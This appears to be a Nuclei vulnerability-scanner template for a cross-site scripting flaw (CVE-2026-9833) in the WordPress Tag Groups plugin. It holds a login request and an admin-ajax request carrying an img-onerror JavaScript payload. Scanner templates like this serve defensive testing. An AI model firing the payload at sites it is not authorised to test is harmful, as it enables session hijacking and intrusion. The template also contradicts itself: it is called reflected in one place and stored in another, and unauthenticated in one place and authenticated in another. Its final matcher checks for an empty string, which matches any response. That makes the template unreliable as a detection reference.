id: CVE-2026-9833 info: name: WordPress Tag Groups < 2.2.0 - Reflected Cross-Site Scripting author: anirbala98 severity: high description: | The Tag Groups WordPress plugin < 2.2.0 contains a stored XSS caused by improper escaping of an AJAX parameter reflected in an HTML response, letting unauthenticated attackers execute arbitrary JavaScript in browsers of logged-in users with edit_pages capability, exploit requires victim interaction. impact: | Attackers can execute arbitrary JavaScript in browsers of logged-in users with edit_pages capability, potentially leading to session hijacking or privilege escalation. remediation: | Update the Tag Groups plugin to version 2.2.0 or later. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-9833 - https://wpscan.com/vulnerability/75792c33-2d9d-46db-a98c-00ec40951099/ - https://wordpress.org/plugins/tag-groups/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L cvss-score: 7.1 cve-id: CVE-2026-9833 epss-score: 0.00524 epss-percentile: 0.44468 cwe-id: CWE-79 metadata: verified: true max-request: 2 vendor: publishpress product: tag-groups fofa-query: body="/wp-content/plugins/tag-groups/" tags: cve,cve2026,wordpress,wp-plugin,tag-groups,xss,authenticated flow: http(1) && http(2) http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In matchers: - type: dsl dsl: - status_code == 302 - contains(header, "wordpress_logged_in") condition: and internal: true - raw: - | GET /wp-admin/admin-ajax.php?action=tg_ajax_manage_groups&tag_groups_task=%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E&nonce=fake HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "text/html")' - 'contains(body, "")' condition: and # digest: 490a0046304402204d79c0c26705d4a27b6870e74c83771560b994e458515a8ceef7a8a3f6e82f470220756fd0e70e50f0b454361c822d2cbc8e9cf033e057db9c8a39981c943bf42356:922c64590222798bb761d5b6d8e72950